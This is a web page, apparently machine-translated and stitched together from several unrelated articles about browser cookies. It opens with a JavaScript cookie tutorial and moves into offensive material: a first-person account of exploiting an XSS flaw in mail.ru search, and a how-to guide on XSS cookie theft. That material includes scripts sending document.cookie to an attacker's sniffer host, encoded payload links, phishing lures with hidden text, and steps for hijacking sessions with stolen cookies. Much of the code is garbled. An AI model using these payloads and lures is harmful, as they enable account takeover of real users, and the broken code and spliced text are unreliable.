Metode za krađu kolačića. Kako izdvojiti lozinku iz kolačića Čemu služi?


JavaScript omogućava postavljanje i čitanje kolačića u pretraživaču. U ovoj lekciji ćemo pogledati kako raditi s kolačićima, a također ćemo napraviti jednostavnu stranicu koja će pamtiti uneseno ime i prikazivati ​​ga svaki put kada se prijavite.

Šta su kolačići?

Kolačići su mala količina podataka koju pohranjuje web pretraživač. Oni vam omogućavaju da pohranite određene informacije o korisniku i da ih preuzmete svaki put kada posjeti vašu stranicu. Svaki korisnik ima svoj jedinstveni skup kolačića.

Web server obično koristi kolačiće za obavljanje funkcija kao što su praćenje posjeta web-mjestu, registracija na web-mjestu i pohranjivanje informacija o narudžbama ili kupovinama. Međutim, ne moramo izmišljati program web servera da bismo koristili kolačiće. Možemo ih koristiti koristeći JavaScript.

Svojstvo document.cookie.

U JavaScript-u, kolačićima se pristupa pomoću svojstva kolačića objekta dokumenta. Kolačiće možete kreirati na sljedeći način:

I nabavite cijeli spremljeni set kolačića ovako:

Var x = document.cookie;

Pogledajmo detaljnije spremanje i preuzimanje kolačića.

Čuvanje kolačića

Da bismo sačuvali kolačić, moramo dodijeliti document.cookie tekstualnom nizu koji sadrži svojstva kolačića koji želimo kreirati:

document.cookie = " ime = vrijednost; istekne = datum; put = staza; domen = domen; siguran";

Svojstva su opisana u tabeli:

Primjer opisa svojstva
ime = vrijednost Postavlja naziv kolačića i njegovu vrijednost. korisničko ime=Vasya
ističe = datum Postavlja datum isteka za kolačiće. Datum mora biti u formatu koji vraća metoda toGMTString() objekta Date. Ako expires nije naveden, kolačić će biti obrisan kada se pretraživač zatvori. expires=
13/06/2003 00:00:00
put= staza Ova opcija postavlja putanju do stranice unutar koje je kolačić važeći. Samo dokumenti sa navedene putanje mogu dohvatiti vrijednost kolačića. Obično je ovo svojstvo ostavljeno prazno, što znači da mu može pristupiti samo dokument koji je postavio kolačić. path=/demo/
domena=domena Ova opcija postavlja domen unutar kojeg kolačić radi. Samo web lokacije sa navedene domene mogu primiti vrijednost kolačića. Obično je ovo svojstvo ostavljeno prazno, što znači da mu može pristupiti samo domena koja je postavila kolačić. domena=web stranica
siguran Ova opcija govori pretraživaču da koristi SSL za slanje kolačića na server. Vrlo rijetko korištena. siguran

Pogledajmo primjer postavljanja kolačića:

document.cookie = "username=Vasya; expires=02/15/2011 00:00:00";

Ovaj kod postavlja kolačić korisničkog imena i dodjeljuje mu vrijednost "Vasya", koja će biti pohranjena do 15. februara 2011. (koristi se evropski format vremena!).

var cookie_date = novi datum(2003, 01, 15); document.cookie = "username=Vasya; expires=" + cookie_date.toGMTString();

Ovaj kod radi potpuno istu stvar kao prethodni primjer, ali koristi metodu Date.toGMTString() za postavljanje datuma. Imajte na umu da numeracija mjeseca u objektu Datum počinje od 0, odnosno da je februar 01.

Document.cookie = "logged_in=yes";

Ovaj kod postavlja kolačić logged_in i postavlja ga na "da". Pošto atribut expires nije postavljen, kolačić će biti obrisan kada se pretraživač zatvori.

var cookie_date = novi datum(); // Trenutni datum i vrijeme cookie_date.setTime (cookie_date.getTime() - 1); document.cookie = "logged_in=; expires=" + cookie_date.toGMTString();

Ovaj kod postavlja kolačić logged_in i postavlja string za pohranu na vrijeme jednu sekundu prije trenutnog vremena - ova operacija će odmah izbrisati kolačić. Ručni način brisanja kolačića!

Rekodiranje vrijednosti kolačića!

Vrijednost kolačića treba prekodirati kako bi se ispravno pohranili i prikazali znakovi kao što su razmak i dvotočka. Ova operacija osigurava da pretraživač ispravno interpretira vrijednost. Lego rekodiranje se izvodi pomoću JavaScript funkcije escape(). Na primjer:

document.cookie = "username=" + escape("Vasya Pupkin") + "; expires=02/15/2003 00:00:00"; Funkcija za postavljanje kolačića

Postavljanje kolačića će biti lakše ako napišemo posebnu funkciju koja će izvoditi jednostavne operacije kao što su rekodiranje vrijednosti i konstruiranje niza document.cookie. Na primjer:

Funkcija set_cookie (ime, vrijednost, exp_y, exp_m, exp_d, put, domena, siguran) ( var cookie_string = ime + "=" + escape (vrijednost); if (exp_y) ( var expires = novi datum (exp_y, exp_m, exp_d ); expires=" + expires.toGMTString( ) if (path) cookie_string += "; path=" + escape (putanja) cookie_string += "; domain=" + escape); (domena if (sigurna) cookie_string += "; secure";

Funkcija uzima podatke kolačića kao argumente, zatim gradi odgovarajući niz i postavlja kolačić.

Na primjer, postavljanje kolačića bez datuma isteka:

set_cookie("korisničko ime", "Vasya Pupkin"); set_cookie ("korisničko ime", "Vasya Pupkin", 2011, 01, 15);

Postavljanje kolačića s periodom skladištenja, domenom web-mjesta, korištenjem SSL-a, ali bez putanje:

set_cookie ("username", "Vasya Pupkin", 2003, 01, 15, "", "site", "secure"); Funkcija za brisanje kolačića.

Još jedna korisna funkcija za rad s kolačićima je predstavljena u nastavku. Funkcija "briše" kolačiće iz pretraživača postavljajući datum isteka na jednu sekundu ranije od trenutne vremenske vrijednosti.

funkcija delete_cookie (naziv_kolačića) ( var cookie_date = novi datum (); // Trenutni datum i vrijeme cookie_date.setTime (cookie_date.getTime() - 1); document.cookie = cookie_name += "=; expires=" + cookie_date.toGMTString ();

Da biste koristili ovu funkciju, trebate joj proslijediti samo ime kolačića koji će se izbrisati:

Delete_cookie("korisničko ime");

Dobivanje vrijednosti kolačića

Da biste dobili vrijednost unaprijed postavljenog kolačića za trenutni dokument, trebate koristiti svojstvo document.cookie:

Var x = document.cookie;

Ovo vraća niz koji se sastoji od liste parova ime/vrijednost razdvojenih tačkom i zarezom za svima kolačići koji su važeći za trenutni dokument. Na primjer:

"korisničko ime=Vasya; lozinka=abc123"

U ovom primjeru postoje 2 kolačića koja su unaprijed postavljena: korisničko ime koje ima vrijednost “Vasya” i lozinka koja ima vrijednost “abc123”.

Funkcija za dobivanje vrijednosti kolačića

Obično nam je potrebna samo vrijednost jednog kolačića u isto vrijeme. Stoga, niz kolačića nije prikladan za korištenje! Evo funkcije koja obrađuje niz document.cookies, vraćajući samo kolačiće koji su od interesa u određenom trenutku:

Funkcija get_cookie (naziv_kolačića) ( var rezultati = document.cookie.match ("(^|;) ?" + ime_kolačića + "=([^;]*)(;|$)"); if (rezultati) vrati (unescape (rezultati));

Ova funkcija koristi regularni izraz za pronalaženje imena kolačića koji je od interesa, a zatim vraća vrijednost koju obrađuje funkcija unescape() kako bi je ponovo kodirala u normalan oblik znakova. (Ako kolačić nije pronađen, vraća se null.)

Ova funkcija je jednostavna za korištenje. Na primjer, da vratite vrijednost kolačića korisničkog imena:

Var x = get_cookie("korisničko ime");

Jednostavan primjer upotrebe

U ovom primjeru napravili smo stranicu koja traži vaše ime prilikom vaše prve posjete, a zatim sprema vaše ime u kolačić i prikazuje ga pri sljedećim posjetama.

Otvorite stranicu u novom prozoru. Prilikom vaše prve posjete, tražit će od vas da unesete svoje ime i spremite ga u kolačić. Ako ponovo posjetite stranicu, na ekranu će se prikazati naziv kolačića koji ste unijeli.

Za kolačiće postavljamo period čuvanja na 1 godinu od trenutnog datuma, što znači da će pretraživač sačuvati vaše ime čak i ako ga zatvorite.

Kod stranice možete vidjeti u svom pretraživaču odabirom opcije Prikaži izvor. Evo glavnog dijela koda:

if (! get_cookie ("korisničko ime")) ( var korisničko ime = prompt ("Molimo unesite svoje ime", ""); if (korisničko ime) ( var current_date = novi datum; var cookie_year = current_date.getFullYear () + 1; var cookie_month = current_date.getMonth() var cookie_day = current_date.getDate("korisničko ime", korisničko ime, cookie_month, cookie_day) ) else( var username = get_cookie("username"); document.write ("Hello"); , " + korisničko ime + ", dobrodošli na stranicu!"); document.write("
Zaboravi me!"); }

Ova lekcija vam je pokazala kako koristiti kolačiće u JavaScriptu za pohranjivanje informacija o vašim posjetiteljima. Hvala vam na pažnji! :)

U kojem je predloženo prisustvovanje besplatnom događaju posvećenom pitanjima informacione sigurnosti. S obzirom da se događaj održavao u mom gradu, odlučio sam da svakako moram tamo. Prva lekcija bila je posvećena ranjivostima na web stranicama kao što je XSS. Nakon lekcije, odlučio sam da moram učvrstiti stečeno znanje u realnim uslovima. Odabrao sam nekoliko sajtova koji se odnose na moj grad i počeo da pokušavam da ubacim svoju skriptu u sve forme. U većini slučajeva skripta je bila filtrirana. Ali desilo se da se "uzbuna" aktivirala i pojavila se moja poruka. Pronađenu ranjivost prijavio sam administratorima i oni su brzo sve popravili.

Jednog od ovih dana, dok sam provjeravao najnoviju poštu na mail.ru, za oko mi je zapeo obrazac za traženje pisama u poštanskom sandučetu. Povremeno sam koristio ovu pretragu da pronađem nešto što mi treba u gomili svojih starih pisama. Pa, pošto sam u poslednjih par dana skoro svuda gde sam mogao ubacio svoje „upozorenje“, moja ruka je refleksno posegnula za ovim formularom za pretragu. Ukucao sam kod za svoju skriptu i pritisnuo Enter. Zamislite moje iznenađenje kada sam na ekranu ugledao bolno poznatu poruku...


Na predavanju Open InfoSec Days govornik je rekao da su programeri prilično skeptični u pogledu ranjivosti ove vrste, rekavši „upozorenje? Pa, pa šta? Ovo nije opasno”. Ako sam se na drugim stranicama zadovoljio samo ovim prozorom sa svojom porukom, onda sam u ovom slučaju odlučio ići dalje i pokazati šta može proizaći iz takvog „upozorenja“.

Dakle, skripta radi, što znači da postoji ranjivost. Stoga možete pokušati pokrenuti neku drugu skriptu. Na primjer, skripta koja nam šalje kolačiće drugog korisnika. Da bi skripta radila, moramo natjerati korisnika da izvrši našu skriptu. To se može učiniti tako da mu pošaljete pismo s odgovarajućom vezom, nakon klika na koje će se pretražiti poštanski sandučić i izvršiti kod koji nam je potreban.

Bilo je potrebno neko vrijeme i mnogo eksperimentiranja da se razumije mehanika ranjivosti. Ponekad je skripta funkcionirala, ponekad je bila filtrirana. Nakon određenog truda, empirijski je utvrđeno da skripta radi 100% samo ako potraga za slovima daje pozitivan rezultat. Odnosno, kada korisnik izvrši pretragu sa našom skriptom, potrebno je da se u njegovom sandučetu nađe barem jedno slovo prema zadatim parametrima. Nije teško ovo dogovoriti.

Također, umjesto “alert”, potrebna nam je skripta koja će prenijeti kolačiće na naš sniffer. Napisat ćemo ovu skriptu u posebnu datoteku i učitati je u našu pretragu. Napravio sam test.js fajl sa potrebnim kodom i postavio ga na hosting. Kod skripte je ovakav:

Img=nova slika();
img.src="http://sitename.ru/sniff.php?cookie="+document.cookie;
funkcija F() (
location="http://www.solife.ru";
}
setTimeout(F, 5000);

Ono što bih želeo da razjasnim ovde. Stavimo se u kožu napadača. Potrebno nam je da korisnik klikne na link. Kako da ga natjeram na ovo? Možete obećati zlatne planine, a da biste ih primili potrebno je da pratite naš link ka sajtu. Ali mislim da to neće uspjeti. Ljudi više ne nasjedaju na ovo (ja sama stalno brišem takva pisma, a da ih nisam ni pročitala). Stoga ćemo se igrati na ljudsko sažaljenje, jer ono još uvijek postoji u prirodi. Molimo vas da glasate na stranici za spašavanje ugroženih životinja. Prvo ćemo uzeti kolačiće, a zatim ćemo korisnika preusmjeriti na stranicu za glasanje. Vremensko ograničenje za preusmjeravanje je postavljeno na 5 sekundi, inače kolačići jednostavno nisu imali vremena da se prebace na njuškalo, a korisnik je odmah preusmjeren na stranicu o životinjama. Umjesto “upozorenja” koristio sam sljedeću skriptu:

Kada sam završio sa scenarijima, počeo sam da pišem pismo. Smislio sam nesto ovako:


Ispalo je prilično cinično, ali sam se trudio da uslove što više približim stvarnosti. Na kraju pisma nalazi se red sa skriptom, to je zato da se naše pismo nađe kada izvršimo pretragu. Da linija ne izaziva nepotrebna pitanja, ofarbao sam je u bijelo. Stavio sam i razmak u riječ “http” kako se string ne bi prepoznao i pretvorio u vezu. U suprotnom, uprkos činjenici da je linija skripte napisana bijelim fontom, primatelj bi poveznicu označio plavom bojom, a ovo nam ne treba. Pametna pretraga će i dalje pronaći i prepoznati ovaj niz, uprkos razmacima.

E.mail.ru/cgi-bin/gosearch?q_folder=0&q_query=%27%3E%3Cscript%20src%3D%27http%3A%2F%2Fsitename.ru%2Ftest.js%27%3E%3C%2Fscript%3E

Koristio sam URL kodiranje za skriptu tako da ništa nije filtrirano. Dodao sam i parametar “q_folder=0” za pretragu, tako da se pretraga odvija u folderu “Inbox”.

Pismo je spremno, šaljemo ga. Koristio sam svoje drugo poštansko sanduče na istom servisu kao i primalac. Da vidimo šta je došlo u drugu kutiju.

Naš tekst skripte nije vidljiv jer se uklapa u pozadinu. Hajde da kliknemo na link i vidimo šta se dešava. Korisnik se premješta na rezultate pretraživanja e-pošte na osnovu parametra koji smo naveli. Naše pismo koje smo poslali vidljivo je u rezultatima pretrage. U ovom trenutku, naša skripta je već proradila i poslala je kolačiće korisnika na njuškalo. Nakon 5 sekundi (vrijeme ovisi o postavkama skripte), korisnik se preusmjerava na stranicu za glasanje.

Provjeravam svoj sniff.txt fajl:

Pošto moj cilj nije da kradem kutije drugih ljudi ili da im pristupim, ovdje ću završiti priču. Ali teoretski, svoje kolačiće možete zamijeniti nečijim i dobiti pristup tuđem poštanskom sandučiću. Općenito, ako je napadač zainteresovan za metu, on će naći upotrebu primljenih informacija.

Želeo bih da se zahvalim Sergeju Belovu (

Moj prijatelj je zaboravio lozinku za jednu stranicu. Međutim, on je prethodno označio polje za potvrdu “Zapamti me” u pretraživaču Google Chrome prilikom prijavljivanja, što mu je omogućilo pristup stranici pod njegovim računom. Dobio sam pitanje da li je moguće prenijeti ovo magično stanje na drugi kompjuter. Bilo bi ispravnije, naravno, promijeniti ili vratiti lozinku, ali moj prijatelj to nije mogao učiniti iz razloga koji nisu povezani sa slučajem.

Kako koristiti intercepter-ng za lutke

Uprkos raznovrsnosti modernog softvera za izbor, teško je pronaći bolje programe za hakovanje za Android od presretača. Prvi kriterij koji ukazuje u korist ovog proizvoda su njegove stvarne performanse. Većina njuškala koji se nude na mreži su samo imitacije koje ne obavljaju svoje navedene funkcije.

Sljedeći pozitivni faktori su svestranost aplikacije i pokrivenost široke publike korisnika.

Računarska pomoć 939-29-71

Počnimo redom. Kolačići ili "kolačići" su vrlo male tekstualne datoteke - oznake sa informacijama.

Web server prenosi ove informacije u pretraživač korisnika. gdje se ove informacije pohranjuju dok se ne zatraže. Nije sasvim jasno. Pa. U redu.

Pokušat ću to učiniti još jednostavnijim. Pogledaj. registrovani ste na bilo kojoj web stranici.

U trenutku registracije kreiraju se ti isti „kolačići“.

To su oni.

Cookie Cadger

Program sluša promet na WiFi mreži, presreće kolačiće i replicira sesiju korisnika u vašem pretraživaču, ponavljajući zahtjeve s njegovim akreditivima. Autor Matthew Sullivan je održao prezentaciju programa 30. septembra na Derbycon hakerskoj konferenciji. Upravo tokom govora, Matthew Sullivan je preko WiFi-a presreo neosiguranu sesiju s Googleom jednog od posjetitelja konferencije.

Kako ukrasti kolačiće

Ako, dok ste na web stranici, unesete sljedeći tekst u adresnu traku vašeg Firefox ili Opera pretraživača: javasript:document.write(document.cookie); tada ćete vidjeti nešto poput: remixAdminsBar=0; remixGroupType=0; remixpass=********************; remixwall=0; remixInformation=0; remixMembersBar=0; remixdescription=0; remixautobookmark=8; remixemail=**********; remixmid=23363; remixchk=5; remixaudios=0; remixlinksBar=1; remixOfficersBar=0; remixPhotosBar=0; remixTopicsBar=0; remixvideos=0; remixRecentNews=0; remixAlbumsBar=0 Pažnja! .

Kompletan vodič za skriptovanje na više lokacija

XSS je vrsta softverske ranjivosti koja je izvorna za Web aplikacije koja omogućava napadaču da ubaci skriptu na strani klijenta u web stranice koje gledaju drugi korisnici Vikipedija definira XSS na sljedeći način: „Unakrsne skripte (XSS) su izvorne vrste softverske ranjivosti. na web-aplikacije (zaobilazeći sigurnosna ograničenja pretraživača)”, što omogućava napadaču da ubaci klijentsku skriptu u web stranice koje gledaju drugi korisnici.

Razlika između kolačića i sesija

Nedavno sam napisao članak o tome kako registrirati i ovlastiti korisnike na web stranici.

". U ovom članku ću razložiti razliku između sesija i kolačića. tako da konačno možete napraviti svoj izbor.

Kolačići. Ne, uopće se ne radi o kolačićima, već o vašoj sigurnosti. Dakle, odete na svoju omiljenu stranicu „vkontakte“ (ili, na primjer, pogledate poštu) na tuđem računaru, odbijete opciju „sačuvaj lozinku“, rado pregledate poštu i odete. I nemojte razmišljati o činjenici da se sada možete prijaviti na društvenu mrežu ili email pod svojim imenom.

Ne razmišljam ni o situaciji sa programom koji pamti lozinku bez vašeg znanja. Ovo je već namjeran hak, a vjerovatno ćete posumnjati da bi se tako nešto moglo dogoditi i nećete ići na svoju omiljenu stranicu na takvom računaru. Ali možemo govoriti o jednostavnoj ljudskoj radoznalosti – bili ste u posjeti prijateljima, a onda odjednom dobiju priliku da pročitaju vašu poštu. Jeste li sigurni da će odbiti ovu priliku? Zar se ne plašiš da će nešto ispasti? U svakom slučaju, ostaviću po strani pitanja morala i samo pričam o tome kako se informacije pohranjuju na kompjuteru da vam se sada može dozvoliti ulazak na neki sajt bez traženja lozinke.

kako ukrasti kolačić

A ime ove tehnologije je kolačići.

I tu je sve počelo. Protokol http, preko kojeg zapravo gledate stranice (uključujući i ovu), u početku nije predviđao mogućnost održavanja veze. To jest, grubo govoreći, pošaljete zahtjev na stranicu, dobijete odgovor, on se prikazuje na ekranu, a zatim server ne pamti ništa o vama. Ovo je, naravno, dobro kada je sajt isključivo informativnog karaktera i ne treba da pamti ništa o vama, ali mi živimo u doba Web 2.0 😉 Prirodni razvoj protokola su POST i GET zahtevi, kada pošaljete neke podatke, server to može upisati u podatke baze podataka, ali to nije dovoljno.

Pogledajmo vrlo jednostavan primjer. Forum. Dakle, registrovali ste se, a na forumu postoji objava da postoji taj i taj korisnik sa tom i takvom lozinkom i nekim drugim dodatnim podacima. Ali sada idete na forum i prijavite se - unesite svoju lozinku. Negdje bi trebala biti informacija da ste prijavljeni. Na serveru? Naravno da ne! Nemoguće je pohraniti informaciju na server da je autorizacija napravljena sa vašeg računara - neće vas moći razlikovati od nekog drugog (čak vas ni vaša IP adresa ne identifikuje jedinstveno)! Dakle, informacije da je došlo do autorizacije moraju biti pohranjene na vašem računaru. Tome služe kolačići, za to su i stvoreni.

Kolačić je mali zapis na vašem računaru koji pohranjuje informacije o stranici koju ste posjetili. Kada se prijavite, kreira se sličan unos, nakon čega možete šetati po forumu i on će vas prepoznati. Međutim, to će se već dogoditi automatski - zahvaljujući informacijama pohranjenim u kolačiću - tako da se pretvaranje da ste glavni administrator foruma i dalje neće uspjeti zaobići provjeru lozinke.

Sada se možemo vratiti odakle je ovaj članak počeo. Ako ste se negdje ulogovali, a da niste ni sačuvali lozinku, može se desiti da je na računaru kreiran unos koji vam sada omogućava da se bez autorizacije prijavite na ovaj resurs pod svojim imenom. Takav unos će sam po sebi zastarjeti nakon nekog vremena, ali možete ga prisiliti da se obriše. Svaki pretraživač to radi drugačije, pokazaću vam kako se to može uraditi u mom omiljenom Google Chrome-u. Otvaranje parametara

Idite na karticu "napredno" i pronađite dugme "prikaži kolačiće".

Sada, naravno, možete izbrisati sve kolačiće, ali to može uznemiriti vlasnika računara. Stoga, na primjer, u gornje polje možete unijeti naziv stranice koja vas zanima

Tada možete izbrisati samo kolačiće koji se odnose na ovu stranicu. Možete probati na mom. Međutim, ako se prijavite na moj forum, a zatim obrišete svoje kolačiće, podaci za prijavu će biti zaboravljeni. Probaj!

comments powered by

1.Šta je XSS?
XSS ranjivost omogućava umetanje proizvoljnog javascript koda u tijelo stranice. XSS napad se razlikuje od drugih (na primjer, SQL injekcija ili PHP injekcija) po tome što utječe na klijenta, a ne na server.

kako ukrasti kolačiće

Uz njegovu pomoć ne možete vidjeti tabele baze podataka, učitati ljusku itd. Najčešća upotreba XSS-a je krađa kolačića.
Kolačići su mali dio podataka koji kreira web server i koji se pohranjuje na korisnikovom računalu kao datoteka. Kolačići se obično koriste za pohranjivanje računa, a najčešće sadrže šifriranu lozinku, prijavu i ID sesije (iako ne uvijek)
XSS dolazi u dvije vrste, aktivni i pasivni.

Pasivni XSS zahteva direktnu interakciju žrtve, kao što je klik na link koji sadrži javascript kod. Kada koristite ovu vrstu XSS-a, ne možete bez SI (Social Engineering)

Aktivni XSS ne zahteva nikakvo učešće od žrtve sve što treba da urade je da posete stranicu koja sadrži XSS. Aktivni XSS može biti, na primjer, u porukama na forumima, chatovima, dodavanju vijesti itd.

2.Tražite XSS
U ovom odlomku ću vam reći kako pronaći xss

2.1. Pasivni XSS
Da biste pronašli pasivni XSS, samo zamijenite alert('xss') u formu za unos, ako je skripta uspjela i pojavi se poruka "xss", tada je ranjivost prisutna, ako skripta nije radila, možete pokušati i ">alert (), ovo je vjerovatno najčešća ranjivost xss Ako ni jedna ni druga skripta nisu radile, onda najvjerovatnije nema ranjivosti.
Pogledajmo primjer.
http://miss.rambler.ru/srch/?sort=0& … amp;words=
Vidite li obrazac za pretragu? umetnite ">alert()" tamo i kliknite "pronađi"
Pojavljuje se prozor sa xss, što znači da je xss prisutan (možda će ovaj xss biti uklonjen do trenutka kada pročitate ovaj članak).

2.2.Aktivni XSS
Takav css može biti npr. u profilnim poljima, prilikom dodavanja vijesti u naslov vijesti i u same vijesti (rjeđe), u porukama na forumima/čet sobama/gostinjskim sobama sa uključenim html-om. Ovdje je sve jednostavno, u polja unosimo skriptu iz prethodnog podparagrafa, a ako je poruka prikazana na ekranu, onda je ranjivost prisutna.
Pogledajmo xss u BB tagovima na forumima.
Možete pokušati jednostavno umetnuti javascript kod u oznaku, na primjer ovako:
javascript:alert('xss')
Neki tagovi imaju parametre, na primjer oznaka ima dynsrc i lowsrc parametre, pokušajmo zamijeniti kod ovako:
http://www.site.ru/image.jpg dynsrc=javascript:alert(‘xss’)
Ako je skripta uspjela, xss je tu

3. Korištenje XSS-a za krađu kolačića
Sada najukusnije))))
Da bismo ukrali kolačiće, potreban nam je web sniffer, možete instalirati neku vrstu sniffera na svoj hosting ili možete koristiti online sniffer, kojih sada ima dosta.
Da bi ukrala kolačiće putem pasivnog XSS-a, žrtva mora slijediti otrovnu vezu. Za krađu kolačića koristit ćemo drugu skriptu umjesto alert('xss'):
img = nova slika();


zamenimo skriptu u link i pustimo žrtvu da je prati, pogleda dnevnik njuškanja i raduje se.
Pogledajmo primjer.
Uzmimo taj XSS na Rambleru iz prethodnog pasusa.
Ubacujemo
">
img = nova slika();
img.src = "adresa slike njuškanja"+document.cookie;

u obrascu za pretragu kliknite na „pronađi“, pogledajte adresnu traku i vidite:

http://miss.rambler.ru/srch/?sort=0& … &words =">
Šaljemo ovu vezu žrtvi i uživamo u kolačićima.
Vidjevši takvu vezu, žrtva može posumnjati u nešto, pa je preporučljivo kodirati
">img = nova slika();img.src = "adresa slike za njuškanje"+document.cookie;
u URL-u Ili koristite usluge poput http://tinyurl.com/
Pređimo na aktivni XSS, ovdje je sve jednostavno, umjesto alert() ubacujemo img = new Image();img.src = "adresa slike sniffera"+document.cookie;

Sada imamo kolačiće. Ali šta s njima? Jednostavno je, morate ih zamijeniti umjesto svojima. Opera pretraživač ima ugrađeni uređivač kolačića (alati->napredno->upravljanje kolačićima), postoji dodatak za Firefox (ne sjećam se kako se zove, koristite Google)
To je sve za sada, možda će članak biti dopunjen

Opera otvorite glavni meni, idite na odjeljak "Postavke" i odaberite liniju "Opšta podešavanja...". Ili možete jednostavno pritisnuti prečice CTRL + F12. Ovo će otvoriti prozor postavki pretraživača, gdje na kartici "Napredno" trebate kliknuti na odjeljak "Kolačići" na lijevoj ploči. U njemu morate kliknuti na dugme „Upravljanje kolačićima“.

U Mozilla FireFox-u otvorite odjeljak “Alati” u izborniku i odaberite “Postavke”. U prozoru postavki potrebno je da odete na karticu „Privatnost“, tamo pronađete dugme na kojem piše „Prikaži kolačiće...“ i kliknete na njega da biste pristupili listi kolačića pohranjenih u pretraživaču. Možete ih pretražiti i pogledati ovdje.

U Internet Exploreru proširite odjeljak "Alati" u izborniku i odaberite "Svojstva". U prozoru postavki svojstava idite na karticu „Općenito“ i kliknite na dugme „Opcije“ u odjeljku „Historija pregledavanja“. Na ovaj način otvorit ćete još jedan prozor („Opcije privremenih datoteka“) u kojem trebate kliknuti na dugme „Prikaži datoteke“.

Kliknite na naslov "Ime" na listi sadržaja fascikle za pohranu privremenih datoteka Internet Explorer-a koja se otvara - na ovaj način možete grupisati sve datoteke kolačića u jedan blok u zajedničkoj hrpi heterogenih datoteka. Ovdje možete pronaći datoteku koja vas zanima i otvoriti je u standardnom Notepadu za pregled ili uređivanje.

U Google Chrome-u kliknite na ikonu francuskog ključa u gornjem desnom uglu prozora i izaberite Opcije iz menija. Pregledač će otvoriti stranicu “Postavke”, a vi kliknite na vezu “Napredno” na lijevoj ploči i na stranici s naprednim postavkama kliknite na dugme “Postavke sadržaja”. Ovo nije posljednja stranica na putu do kolačića koje čuva ovaj pretraživač.

Kliknite na dugme "Svi kolačići i podaci o sajtu" na sledećoj stranici i konačno ćete imati pristup listi kolačića.

Google Chrome pruža mogućnost pretraživanja, pregleda i brisanja kolačića.

U Safari pretraživaču kliknite na ikonu zupčanika u gornjem desnom uglu i odaberite "Postavke...". U prozoru za promjenu postavki potrebno je da odete na karticu “Sigurnost” da kliknete na dugme “Prikaži kolačiće”. Safari pruža samo funkcije za pretraživanje i brisanje kolačića ovdje se može vidjeti samo djelimično sadržaj ovih privremenih datoteka.

Kolačići- informacije u obliku tekstualne datoteke koju web stranica čuva na računaru korisnika. Sadrži podatke za autentifikaciju (prijava/lozinka, ID, broj telefona, adresa poštanskog sandučeta), korisnička podešavanja, status pristupa. Čuva se u profilu pretraživača.

Hakovanje kolačića je krađa (ili „otmica“) sesije posjetitelja web resursa. Privatne informacije postaju dostupne ne samo pošiljaocu i primaocu, već i trećoj strani – osobi koja je izvršila presretanje.

Alati i tehnike za hakiranje kolačića

Kompjuterski lopovi, kao i njihove kolege u stvarnom životu, osim vještina, spretnosti i znanja, naravno, imaju i svoje alate - svojevrsni arsenal master ključeva i sondi. Pogledajmo najpopularnije trikove koje hakeri koriste za izdvajanje kolačića od korisnika interneta.

Sniffers

Posebni programi za praćenje i analizu mrežnog saobraćaja. Njihovo ime dolazi od engleskog glagola “njušiti” (njušiti), jer. doslovno "nanjuši" prenesene pakete između čvorova.

Ali napadači koriste njuškalo da presretnu podatke sesije, poruke i druge povjerljive informacije. Mete njihovih napada uglavnom su nezaštićene mreže, gdje se kolačići šalju u otvorenoj HTTP sesiji, odnosno praktično nisu šifrirani. (Javni Wi-Fi je najranjiviji u tom pogledu.)

Da biste ugradili njuškalo u internet kanal između korisničkog čvora i web servera, koriste se sljedeće metode:

  • “slušanje” mrežnih interfejsa (hubova, prekidača);
  • grananje i kopiranje saobraćaja;
  • povezivanje na jaz u mrežnom kanalu;
  • analizu kroz posebne napade koji preusmeravaju promet žrtve na njuškalo (MAC-spoofing, IP-spoofing).

Skraćenica XSS je skraćenica za Cross Site Scripting. Koristi se za napad na web stranice u cilju krađe korisničkih podataka.

Princip XSS-a je sljedeći:

  • napadač ubacuje zlonamjerni kod (posebnu prikrivenu skriptu) u web stranicu web stranice, foruma ili u poruku (na primjer, kada se dopisuje na društvenoj mreži);
  • žrtva odlazi na zaraženu stranicu i aktivira instalirani kod na svom računaru (klikne, prati link, itd.);
  • zauzvrat, izvršeni zlonamjerni kod "izvlači" povjerljive podatke korisnika iz pretraživača (posebno kolačića) i šalje ih na web server napadača.

Da bi “usadili” softverski XSS mehanizam, hakeri koriste sve vrste ranjivosti na web serverima, online servisima i pretraživačima.

Sve XSS ranjivosti su podijeljene u dvije vrste:

  • Pasivno. Napad se postiže traženjem određene skripte na web stranici. Zlonamjerni kod se može ubaciti u različite oblike na web stranici (na primjer, u traku za pretraživanje web stranice). Najpodložniji pasivnom XSS-u su resursi koji ne filtriraju HTML oznake kada podaci stignu;
  • Aktivan. Nalazi se direktno na serveru. I oni se aktiviraju u pretraživaču žrtve. Prevaranti ih aktivno koriste u svim vrstama blogova, chatova i novosti.

Hakeri pažljivo "kamufliraju" svoje XSS skripte tako da žrtva ne posumnja ništa. Mijenjaju ekstenziju datoteke, predaju kod kao sliku, motiviraju ih da slijede link i privlače ih zanimljivim sadržajem. Kao rezultat: korisnik računara, nesposoban da kontroliše sopstvenu radoznalost, svojom rukom (klikom miša) šalje kolačiće sesije (sa login i lozinkom!) autoru XSS skripte - kompjuterskom negativcu.

Zamjena kolačića

Svi kolačići se pohranjuju i šalju na web server (sa kojeg su „došli“) bez ikakvih promjena – u svom izvornom obliku – sa istim vrijednostima, nizovima i drugim podacima. Namjerna modifikacija njihovih parametara naziva se zamjena kolačića. Drugim riječima, prilikom zamjene kolačića, napadač se pretvara da ima želju. Na primjer, prilikom plaćanja u online prodavnici, kolačić mijenja iznos plaćanja naniže - tako dolazi do „uštede“ na kupovini.

Ukradeni kolačići sesije na društvenoj mreži sa tuđeg naloga se „ubacuju“ u drugu sesiju i na drugi računar. Vlasnik ukradenih kolačića dobija potpun pristup nalogu žrtve (prepiska, sadržaj, postavke stranice) sve dok je ona na svojoj stranici.

“Uređivanje” kolačića se vrši pomoću:

  • Funkcije „Upravljanje kolačićima...“ u pretraživaču Opera;
  • Cookies Manager i Advanced Cookie Manager dodaci za FireFox;
  • IECookiesView uslužni programi (samo Internet Explorer);
  • uređivač teksta kao što je AkelPad, NotePad ili Windows Notepad.
Fizički pristup podacima

Vrlo jednostavna shema implementacije, koja se sastoji od nekoliko koraka. Ali efikasan je samo ako je računar žrtve sa otvorenom sesijom, na primjer VKontakte, ostavljen bez nadzora (i to dugo!):

  • Javascript funkcija se unosi u adresnu traku pretraživača za prikaz svih sačuvanih kolačića.
  • Nakon pritiska na “ENTER” svi se pojavljuju na stranici.
  • Kolačići se kopiraju, spremaju u datoteku, a zatim se prenose na fleš disk.
  • Na drugom računaru, kolačići se zamenjuju u novoj sesiji.
  • Pristup nalogu žrtve je odobren.
